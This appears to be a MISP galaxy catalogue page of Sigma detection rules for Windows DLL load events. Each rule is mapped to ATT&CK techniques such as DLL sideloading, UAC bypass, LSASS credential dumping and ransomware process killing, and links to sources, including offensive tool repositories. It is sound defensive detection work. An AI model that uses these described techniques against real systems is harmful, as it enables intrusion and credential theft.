- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16456. Table References

Links
https://hijacklibs.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_third_party.yml

Potential DLL Sideloading Using Coregen.exe

Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Using Coregen.exe"*

View relationships graph

Potential DLL Sideloading Using Coregen.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 16457. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Coregen/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_coregen.yml

Potential SolidPDFCreator.DLL Sideloading

Detects potential DLL sideloading of "SolidPDFCreator.dll"

The tag is: *misp-galaxy:sigma-rules="Potential SolidPDFCreator.DLL Sideloading"*

View relationships graph

Potential SolidPDFCreator.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16458. Table References

Links
https://lab52.io/blog/new-mustang-pandas-campaing-against-australia/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_solidpdfcreator.yml

Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load

Detects the image load of VSS DLL by uncommon executables

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load"*

View relationships graph

Potentially Suspicious Volume Shadow Copy Vsstrace.dll Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 16459. Table References

Links
https://github.com/ORCx41/DeleteShadowCopies
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vsstrace_susp_load.yml

VMGuestLib DLL Sideload

Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.

The tag is: *misp-galaxy:sigma-rules="VMGuestLib DLL Sideload"*

View relationships graph

VMGuestLib DLL Sideload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16460. Table References

Links
https://decoded.avast.io/martinchlumecky/png-steganography/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmguestlib.yml

Unsigned .node File Loaded

Detects the loading of unsigned .node files. Adversaries may abuse a lack of .node integrity checking to execute arbitrary code inside of trusted applications such as Slack. .node files are native add-ons for Electron-based applications, which are commonly used for desktop applications like Slack, Discord, and Visual Studio Code. This technique has been observed in the DripLoader malware, which uses unsigned .node files to load malicious native code into Electron applications.

The tag is: *misp-galaxy:sigma-rules="Unsigned .node File Loaded"*

View relationships graph

Unsigned .node File Loaded has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 16461. Table References

Links
https://www.electronjs.org/docs/latest/tutorial/native-code-and-electron
https://github.com/CoreyCBurton/DripLoaderNG
https://www.coreycburton.com/blog/driploader-case-study
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_unsigned_node_load.yml

WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load

Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.

The tag is: *misp-galaxy:sigma-rules="WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load"*

View relationships graph

WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 16462. Table References

Links
https://twitter.com/HunterPlaybook/status/1301207718355759107
https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml

System Control Panel Item Loaded From Uncommon Location

Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.

The tag is: *misp-galaxy:sigma-rules="System Control Panel Item Loaded From Uncommon Location"*

View relationships graph

System Control Panel Item Loaded From Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 16463. Table References

Links
https://www.hexacorn.com/blog/2024/01/06/1-little-known-secret-of-fondue-exe/
https://www.hexacorn.com/blog/2024/01/01/1-little-known-secret-of-hdwwiz-exe/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_cpl_from_non_system_location.yml

DotNET Assembly DLL Loaded Via Office Application

Detects any assembly DLL being loaded by an Office Product

The tag is: *misp-galaxy:sigma-rules="DotNET Assembly DLL Loaded Via Office Application"*

View relationships graph

DotNET Assembly DLL Loaded Via Office Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16464. Table References

Links
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_assembly_dll_load.yml

Fax Service DLL Search Order Hijack

The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.

The tag is: *misp-galaxy:sigma-rules="Fax Service DLL Search Order Hijack"*

View relationships graph

Fax Service DLL Search Order Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16465. Table References

Links
https://windows-internals.com/faxing-your-way-to-system/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ualapi.yml

UAC Bypass Using Iscsicpl - ImageLoad

Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking

technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Iscsicpl - ImageLoad"*

View relationships graph

UAC Bypass Using Iscsicpl - ImageLoad has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 16466. Table References

Links
https://twitter.com/wdormann/status/1547583317410607110
https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml

PowerShell Core DLL Loaded By Non PowerShell Process

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

The tag is: *misp-galaxy:sigma-rules="PowerShell Core DLL Loaded By Non PowerShell Process"*

View relationships graph

PowerShell Core DLL Loaded By Non PowerShell Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16467. Table References

Links
https://github.com/p3nt4/PowerShdll
https://adsecurity.org/?p=2921
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_system_management_automation_susp_load.yml

Potential Goopdate.DLL Sideloading

Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe

The tag is: *misp-galaxy:sigma-rules="Potential Goopdate.DLL Sideloading"*

View relationships graph

Potential Goopdate.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16468. Table References

Links
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_goopdate.yml

Unsigned DLL Loaded by Windows Utility

Detects windows utilities loading an unsigned or untrusted DLL. Adversaries often abuse those programs to proxy execution of malicious code.

The tag is: *misp-galaxy:sigma-rules="Unsigned DLL Loaded by Windows Utility"*

View relationships graph

Unsigned DLL Loaded by Windows Utility has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 16469. Table References

Links
https://unit42.paloaltonetworks.com/unsigned-dlls/?web_view=true
https://akhere.hashnode.dev/hunting-unsigned-dlls-using-kql
https://www.elastic.co/security-labs/Hunting-for-Suspicious-Windows-Libraries-for-Execution-and-Evasion
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_unsigned_dll.yml

UAC Bypass With Fake DLL

Attempts to load dismcore.dll after dropping it

The tag is: *misp-galaxy:sigma-rules="UAC Bypass With Fake DLL"*

View relationships graph

UAC Bypass With Fake DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16470. Table References

Links
https://steemit.com/utopian-io/@ah101/uac-bypassing-utility
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml

Potential Chrome Frame Helper DLL Sideloading

Detects potential DLL sideloading of "chrome_frame_helper.dll"

The tag is: *misp-galaxy:sigma-rules="Potential Chrome Frame Helper DLL Sideloading"*

View relationships graph

Potential Chrome Frame Helper DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16471. Table References

Links
https://hijacklibs.net/entries/3rd_party/google/chrome_frame_helper.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_chrome_frame_helper.yml

Potential RoboForm.DLL Sideloading

Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager

The tag is: *misp-galaxy:sigma-rules="Potential RoboForm.DLL Sideloading"*

View relationships graph

Potential RoboForm.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16472. Table References

Links
https://www.roboform.com/
https://twitter.com/t3ft3lb/status/1656194831830401024
https://twitter.com/StopMalvertisin/status/1648604148848549888
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_robform.yml

Potential RjvPlatform.DLL Sideloading From Default Location

Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.

The tag is: *misp-galaxy:sigma-rules="Potential RjvPlatform.DLL Sideloading From Default Location"*

View relationships graph

Potential RjvPlatform.DLL Sideloading From Default Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16473. Table References

Links
https://twitter.com/0gtweet/status/1666716511988330499
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_default_location.yml

Potential JLI.dll Side-Loading

Detects potential DLL side-loading of jli.dll. JLI.dll has been observed being side-loaded by Java processes by various threat actors, including APT41, XWorm, and others in order to load malicious payloads in context of legitimate Java processes.

The tag is: *misp-galaxy:sigma-rules="Potential JLI.dll Side-Loading"*

View relationships graph

Potential JLI.dll Side-Loading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16474. Table References

Links

https://lab52.io/blog/snake-keylogger-in-geopolitical-affairs-abuse-of-trusted-java-utilities-in-cybercrime-operations/
https://hijacklibs.net/entries/3rd_party/oracle/jli.html
https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting
https://securelist.com/apt41-in-africa/116986/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jli.yml

CredUI.DLL Loaded By Uncommon Process

Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW".

The tag is: *misp-galaxy:sigma-rules="CredUI.DLL Loaded By Uncommon Process"*

View relationships graph

CredUI.DLL Loaded By Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

Table 16475. Table References

Links
https://github.com/S12cybersecurity/RDPCredentialStealer
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password
https://learn.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa
https://securitydatasets.com/notebooks/atomic/windows/credential_access/SDWIN-201020013208.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_credui_uncommon_process_load.yml

Unsigned Module Loaded by ClickOnce Application

Detects unsigned module load by ClickOnce application.

The tag is: *misp-galaxy:sigma-rules="Unsigned Module Loaded by ClickOnce Application"*

View relationships graph

Unsigned Module Loaded by ClickOnce Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16476. Table References

Links
https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_clickonce_unsigned_module_loaded.yml

VBA DLL Loaded Via Office Application

Detects VB DLL's loaded by an office application. Which could indicate the presence of VBA Macros.

The tag is: *misp-galaxy:sigma-rules="VBA DLL Loaded Via Office Application"*

View relationships graph

VBA DLL Loaded Via Office Application has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16477. Table References

Links
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_vbadll_load.yml

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded

Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecract use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrynity C2 Framework has a module that leverages this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker's machine.

The tag is: *misp-galaxy:sigma-rules="Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded"*

View relationships graph

Suspicious Unsigned Dbghelp/Dbgcore DLL Loaded has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-

language:likelihood-probability="almost-certain"

Table 16478. Table References

Links
https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6
https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html
https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_unsigned_load.yml

Unsigned Mfdetours.DLL Sideloading

Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

The tag is: *misp-galaxy:sigma-rules="Unsigned Mfdetours.DLL Sideloading"*

View relationships graph

Unsigned Mfdetours.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16479. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours_unsigned.yml

PCRE.NET Package Image Load

Detects processes loading modules related to PCRE.NET package

The tag is: *misp-galaxy:sigma-rules="PCRE.NET Package Image Load"*

View relationships graph

PCRE.NET Package Image Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16480. Table References

Links
https://twitter.com/tifkin_/status/1321916444557365248
https://twitter.com/rbmaslen/status/1321859647091970051
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_pcre_dotnet_dll_load.yml

Suspicious Unsigned Thor Scanner Execution

Detects loading and execution of an unsigned thor scanner binary.

The tag is: *misp-galaxy:sigma-rules="Suspicious Unsigned Thor Scanner Execution"*

View relationships graph

Suspicious Unsigned Thor Scanner Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16481. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_thor_unsigned_execution.yml

Potential Libvlc.DLL Sideloading

Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"

The tag is: *misp-galaxy:sigma-rules="Potential Libvlc.DLL Sideloading"*

View relationships graph

Potential Libvlc.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16482. Table References

Links
https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html
https://www.trendmicro.com/en_us/research/23/c/earth-preta-updated-stealthy-strategies.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_libvlc.yml

Aruba Network Service Potential DLL Sideloading

Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking

The tag is: *misp-galaxy:sigma-rules="Aruba Network Service Potential DLL Sideloading"*

View relationships graph

Aruba Network Service Potential DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16483. Table References

Links
https://twitter.com/wdormann/status/1616581559892545537?t=XLCBO9BziGzD7Bmbt8oMEQ&s=09
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_aruba_networks_virtual_intranet_access.yml

Potential ShellDispatch.DLL Sideloading

Detects potential DLL sideloading of "ShellDispatch.dll"

The tag is: *misp-galaxy:sigma-rules="Potential ShellDispatch.DLL Sideloading"*

View relationships graph

Potential ShellDispatch.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16484. Table References

Links
https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shelldispatch.yml

CLR DLL Loaded Via Office Applications

Detects CLR DLL being loaded by an Office Product

The tag is: *misp-galaxy:sigma-rules="CLR DLL Loaded Via Office Applications"*

View relationships graph

CLR DLL Loaded Via Office Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16485. Table References

Links
https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_clr_dll_load.yml

Amsi.DLL Loaded Via LOLBIN Process

Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack

The tag is: *misp-galaxy:sigma-rules="Amsi.DLL Loaded Via LOLBIN Process"*

Table 16486. Table References

Links
https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_amsi_suspicious_process.yml

Potential DLL Sideloading Via comctl32.dll

Detects potential DLL sideloading using comctl32.dll to obtain system privileges

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Via comctl32.dll"*

View relationships graph

Potential DLL Sideloading Via comctl32.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16487. Table References

Links
https://github.com/binderlabs/DirCreate2System
https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml

Python Image Load By Non-Python Process

Detects the image load of "Python Core" by a non-Python process. This might be indicative of a execution of executable that has been bundled from Python code. Various tools like Py2Exe, PyInstaller, and cx_Freeze are used to bundle Python code into standalone executables. Threat actors often use these tools to bundle malicious Python scripts into executables, sometimes to obfuscate the code or to bypass security measures.

The tag is: *misp-galaxy:sigma-rules="Python Image Load By Non-Python Process"*

View relationships graph

Python Image Load By Non-Python Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

Table 16488. Table References

Links
https://www.py2exe.org/
https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml

Load Of RstrtMgr.DLL By A Suspicious Process

Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

The tag is: *misp-galaxy:sigma-rules="Load Of RstrtMgr.DLL By A Suspicious Process"*

View relationships graph

Load Of RstrtMgr.DLL By A Suspicious Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16489. Table References

Links
https://taiwan.postsen.com/business/88601/Hamas-hackers-use-data-destruction-software-BiBi-which-consumes-a-lot-of-processor-resources-to-wipe-Windows-computer-data—iThome.html
https://web.archive.org/web/20231221193106/https://www.swascan.com/cactus-ransomware-malware-analysis/
https://www.crowdstrike.com/blog/windows-restart-manager-part-1/
https://www.crowdstrike.com/blog/windows-restart-manager-part-2/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmgr_suspicious_load.yml

Potential Wazuh Security Platform DLL Sideloading

Detects potential DLL side loading of DLLs that are part of the Wazuh security platform

The tag is: *misp-galaxy:sigma-rules="Potential Wazuh Security Platform DLL Sideloading"*

View relationships graph

Potential Wazuh Security Platform DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16490. Table References

Links
https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wazuh.yml

VMMap Unsigned Dbghelp.DLL Potential Sideloading

Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMap.

The tag is: *misp-galaxy:sigma-rules="VMMap Unsigned Dbghelp.DLL Potential Sideloading"*

View relationships graph

VMMap Unsigned Dbghelp.DLL Potential Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16491. Table References

Links

https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmap_dbghelp_unsigned.yml

Microsoft Excel Add-In Loaded From Uncommon Location

Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location

The tag is: *misp-galaxy:sigma-rules="Microsoft Excel Add-In Loaded From Uncommon Location"*

View relationships graph

Microsoft Excel Add-In Loaded From Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16492. Table References

Links
https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/
https://www.mandiant.com/resources/blog/lnk-between-browsers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_excel_xll_susp_load.yml

Potential Rcdll.DLL Sideloading

Detects potential DLL sideloading of rcdll.dll

The tag is: *misp-galaxy:sigma-rules="Potential Rcdll.DLL Sideloading"*

View relationships graph

Potential Rcdll.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16493. Table References

Links
https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rcdll.yml

Potential DLL Sideloading Of DBGCORE.DLL

Detects DLL sideloading of "dbgcore.dll"

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of DBGCORE.DLL"*

View relationships graph

Potential DLL Sideloading Of DBGCORE.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16494. Table References

Links
https://hijacklibs.net/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbgcore.yml

Suspicious Loading of Dbgcore/Dbghelp DLLs from Uncommon Location

Detects loading of dbgcore.dll or dbghelp.dll from uncommon locations such as user directories. These DLLs contain the MiniDumpWriteDump function, which can be abused for credential dumping purposes or in some cases for evading EDR/AV detection by suspending processes.

The tag is: *misp-galaxy:sigma-rules="Suspicious Loading of Dbgcore/Dbghelp DLLs from Uncommon Location"*

View relationships graph

Suspicious Loading of Dbgcore/Dbghelp DLLs from Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16495. Table References

Links
https://blog.axelarator.net/hunting-for-edr-freeze/
https://www.zerosalarium.com/2025/09/EDR-Freeze-Puts-EDRs-Antivirus-Into-Coma.html
https://www.splunk.com/en_us/blog/security/you-bet-your-lsass-hunting-lsass-access.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_win_susp_dbgcore_dbghelp_load.yml

Potential Mpclient.DLL Sideloading

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and "NisSrv") from their non-default directory.

The tag is: *misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideloading"*

View relationships graph

Potential Mpclient.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16496. Table References

Links
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_windows_defender.yml

Wmiprvse Wbemcomn DLL Hijack

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.

The tag is: *misp-galaxy:sigma-rules="Wmiprvse Wbemcomn DLL Hijack"*

View relationships graph

Wmiprvse Wbemcomn DLL Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 16497. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml

Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE

Detects potential DLL sideloading of "libcurl.dll" by the "gup.exe" process from an uncommon location

The tag is: *misp-galaxy:sigma-rules="Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE"*

View relationships graph

Potential DLL Sideloading Of Libcurl.DLL Via GUP.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16498. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_gup_libcurl.yml

HackTool - SharpEvtMute DLL Load

Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs

The tag is: *misp-galaxy:sigma-rules="HackTool - SharpEvtMute DLL Load"*

View relationships graph

